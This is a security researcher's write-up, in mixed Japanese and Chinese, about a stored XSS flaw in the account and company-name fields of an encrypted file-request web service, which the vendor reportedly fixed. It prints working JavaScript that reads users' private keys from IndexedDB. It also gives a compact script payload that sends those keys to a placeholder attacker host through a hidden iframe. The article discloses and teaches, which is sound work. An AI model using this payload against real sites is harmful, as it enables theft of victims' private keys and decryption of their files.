背景
少し前、オランダのテクノロジー Web サイトに公開された記事で、オンライン サービスの新しいリリースが紹介されました。 、このサービスを使用して、Web を介したユーザーによるエンドツーエンドのファイル要求送信を実現すると主張しています。
以前と同様、私はこの安全な暗号化の実装に非常に興味があるため、この記事を見たときにテストしてみたいという衝動に駆られました。この記事では、Web を介したこの種のファイル リクエストは安全であると主張していますが、これは本当ですか?暗号化サービスの Web サイトでは、RSA および AES 秘密キーを使用したいくつかのローカル エンドツーエンド暗号化方式が紹介されているだけで、その特定の暗号化実装については詳しく紹介されていません。また、そのアプリケーションはオープンソースではないため、監査やレビューが困難ですホワイトペーパーでは、開始方法について説明しています。
暗号化サービスの Web サイトでは、提供するサービスは絶対に安全で信頼できると主張していますが、誰でも間違いを犯す可能性があると思うので、徹底的にテストすることにしました。
名前に保存された XSS 脆弱性が見つかりました
アカウントを登録した後、テストを開始し、しばらくしてアカウント名と会社名のフィールドに脆弱性を発見しました保存された XSS の脆弱性があります。暗号化サービスを使用すると、ユーザーは、他のサービス ユーザーに電子メールで送信できるリンクを生成するファイル リクエストを作成できます。受信者ユーザーがリンク電子メールを受信した後、電子メールを開くと、ファイルのアップロード操作を実行できるページが表示されます。ユーザーが作成したファイル要求には、ユーザーがクライアント上でファイルを暗号化するために使用する公開キー情報が含まれています。
ここでの問題は、このファイル要求によって生成されたリンク ページでは、ユーザー名または会社名のフィールドがフィルターされておらず、XSS ペイロードがトリガーされる可能性があることです。それ、alert('Hi there!');、対応するファイル要求リンクを他のユーザーに送信した後、リンクが開かれたときに XSS が次のように実行されます。
##言い換えると、ターゲット ユーザーのシステムで任意のコードを実行して悪さをすることができますが、それを詳細に使用するにはどうすればよいですか?ターゲット ユーザーのローカル秘密キー情報を取得するこの暗号化サービスは、クライアント側の非対称暗号化を使用してユーザー ファイルを保護します。暗号化サービスは Web サイトを通じて展開されるため、その暗号化メカニズムは JavaScript を通じて呼び出す必要があります。つまり、暗号化メカニズムは JavaScript を通じて実装できます。 JavaScript を使用してローカル秘密鍵情報を取得します。分析の結果、暗号化サービスはユーザーが生成した秘密キー情報をローカルの IndexedDB データベースに保存し、ネットワーク経由で送信できないことが判明しました。 ユーザーの秘密キーは、ユーザーの暗号化されたファイルを保護するための重要な情報です。秘密キーを使用する場合のみ、ペアのキーで暗号化されたファイルを復号化できます。秘密キーは十分に保護する必要があり、他の人と共有することはできません。
ご想像のとおり、保存された XSS 脆弱性が存在する名前フィールドのペイロードを変更することで、ユーザーの秘密キーを取得できます。ローカル ストレージ情報を取得するコードを作成し、レイヤーごとにスクリーニングしてテストしました。最終的に、ローカル ユーザーの秘密キーを取得する次のコードを思いつきました:
var dbReq = indexedDB.open("companyname"); dbReq.onsuccess = () => { var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key"); store.onsuccess = () => alert(store.result.pem); };
このコードを名前フィールドに埋め込みます次に、ファイル要求リンクを生成して開きます。このリンクは戻ってきて、ユーザーの秘密キー情報が表示されます。
#被害者の秘密キー情報を次の場所から収集します。攻撃者側
#この方法 ユーザーの秘密鍵情報をポップアップ表示する良い方法ではありません。私たちが管理するリモート サーバーに送信する必要があります。この目的を達成するために、POST を使用して、管理しているリモート サーバーに秘密キー情報を送信しようとしました。最初の問題は、上記の XSS 脆弱性のある名前領域は最大 255 文字しか入力できないのですが、JavaScript リクエストが非常に長いため、コードを可能な限り簡略化する必要があります。 しかしすぐに、jQuery がサービス アプリケーションに存在し、非常にシンプルで短い Ajax リクエストを作成できることを発見しました。これは素晴らしいことです。しかし、最終的には CORS の制限により失敗しました。
リモート サーバーが正しく構成されていないためだと言う人もいるかもしれませんが、Access-Control-Allow-Origin を * に設定しましたが、それでも機能しないため、推定することしかできません。これはサーバー側の CORS ヘッダーです。
但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:
$('body').append( '<iframe src="//example.com/?k=' + btoa(JSON.stringify(secret_data)) + '" />' );
用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。
就这样,我们就能远程收集获取到目标用户的私钥信息了!
Proof of Concept
经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]). objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa (JSON.stringify(b.target.result))+'">'),1);</script>
参考以下POC视频:
https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm
在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。
总结
测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:
运行有一段时间;
是开源的;
经过现实应用的考验;
经过多方参与的安全审计;
只有经过深入的研究和审查才能声称是安全的;
或者由其它可信安全的第三方托管运行。
相关文章教程推荐:web服务器安全教程
以上が保存された XSS の脆弱性を利用してターゲット ユーザーのローカル秘密鍵情報を取得するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。